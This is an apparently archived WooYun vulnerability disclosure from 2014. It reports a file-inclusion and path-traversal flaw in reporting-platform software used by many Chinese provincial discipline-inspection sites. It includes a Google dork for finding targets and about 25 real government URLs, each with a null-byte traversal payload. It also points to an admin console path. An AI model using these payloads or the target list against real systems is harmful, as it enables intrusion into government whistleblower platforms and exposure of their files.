某纪委监察系统通用型文件包含(涉及全国大部分省)

漏洞详情

披露状态:

2014-02-26: 细节已通知厂商并且等待厂商处理中
2014-03-03: 厂商已经确认,细节仅向厂商公开
2014-03-06: 细节向第三方安全合作伙伴开放
2014-03-13: 细节向核心白帽子及相关领域专家公开
2014-03-23: 细节向普通白帽子公开
2014-04-12: 细节向实习白帽子公开
2014-05-27: 细节向公众公开

简要描述:

详细说明:

Google:site:gov.cn inurl:law_artile.jsp

http://yunnan.12388.gov.cn/jubao/site/law_artile.jsp?id=../../scripts/site.js?%00.jpg 云南省
http://shanxi.12388.gov.cn/jubao/site/law_artile.jsp?id=../../scripts/site.js?%00.jpg 山西省
http://jiangxi.12388.gov.cn/site/law_artile.jsp?id=../../scripts/site.js?%00.jpg 江西省
http://hebei.12388.gov.cn/site/law_artile.jsp?id=../../scripts/site.js?%00.jpg 河北省
http://shanghai.12388.gov.cn/site/law_artile.jsp?id=../../scripts/site.js?%00.jpg 上海市
http://sichuan.12388.gov.cn/jubao/site/law_artile.jsp?id=../../scripts/site.js?%00.jpg 四川省
http://neimeng.12388.gov.cn/jubao/site/law_artile.jsp?id=../../scripts/site.js?%00.jpg 内蒙古
http://www.jubao.gd.gov.cn/site/law_artile.jsp?id=../../scripts/site.js?%00.jpg 广东省
http://henan.12388.gov.cn/site/law_artile.jsp?id=../../scripts/site.js?%00.jpg 河南省
http://anhui.12388.gov.cn/jubao/site/law_artile.jsp?id=../../scripts/site.js?%00.jpg 安徽省
http://heilongjiang.12388.gov.cn/site/law_artile.jsp?id=../../scripts/site.js?%00.jpg 黑龙江
http://tianjin.12388.gov.cn/jubao/site/law_artile.jsp?id=../../scripts/site.js?%00.jpg 天津市
http://hubei.12388.gov.cn/jubao/site/law_artile.jsp?id=../../scripts/site.js?%00.jpg 湖北省
http://fujian.12388.gov.cn/site/law_artile.jsp?id=../../scripts/site.js?%00.jpg 福建省
http://chongqing.12388.gov.cn/jubao/site/law_artile.jsp?id=../../scripts/site.js?%00.jpg 重庆市
http://shanxi.lvliang.12388.gov.cn/site/law_artile.jsp?id=../../scripts/site.js?%00.jpg 山西省吕梁市
http://shanxi.yangquan.12388.gov.cn/site/law_artile.jsp?id=../../scripts/site.js?%00.jpg 山西省阳泉市
http://shanxi.jincheng.12388.gov.cn/site/law_artile.jsp?id=../../scripts/site.js?%00.jpg 山西省晋城市
http://shanxi.datong.12388.gov.cn/site/law_artile.jsp?id=../../scripts/site.js?%00.jpg 山西省大同市
http://shanxi.jinzhong.12388.gov.cn/site/law_artile.jsp?id=../../scripts/site.js?%00.jpg 山西省晋中市
http://guangxi.12388.gov.cn/site/law_artile.jsp?id=../../scripts/site.js?%00.jpg 广西壮族自治区
http://hunan.12388.gov.cn/jubao/site/law_artile.jsp?id=../../scripts/site.js?%00.jpg 湖南省
http://xizang.12388.gov.cn/jubao/site/law_artile.jsp?id=../../scripts/site.js?%00.jpg 西藏自治区
http://haerbin.12388.gov.cn/site/law_artile.jsp?id=../../scripts/site.js?%00.jpg 哈尔滨市
http://xinjiang.12388.gov.cn/site/law_artile.jsp?id=../../scripts/site.js?%00.jpg 新疆省

漏洞证明:

Example:

Admin:http://***.gov.cn/**/console/

http://yunnan.12388.gov.cn/jubao/site/law_artile.jsp?id=../../scripts/site.js?%00.jpg

01.jpg



http://yunnan.12388.gov.cn/jubao/site/law_artile.jsp?id=../../styles/default.css?%00.jpg

02.jpg

修复方案:

版权声明:转载请注明来源 U神@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2014-03-03 08:59

厂商回复:

CNVD在多个省份实例上确认所述情况,已经转由CNCERT直接通报给监察部信息中心处置。

最新状态:

暂无


漏洞评价: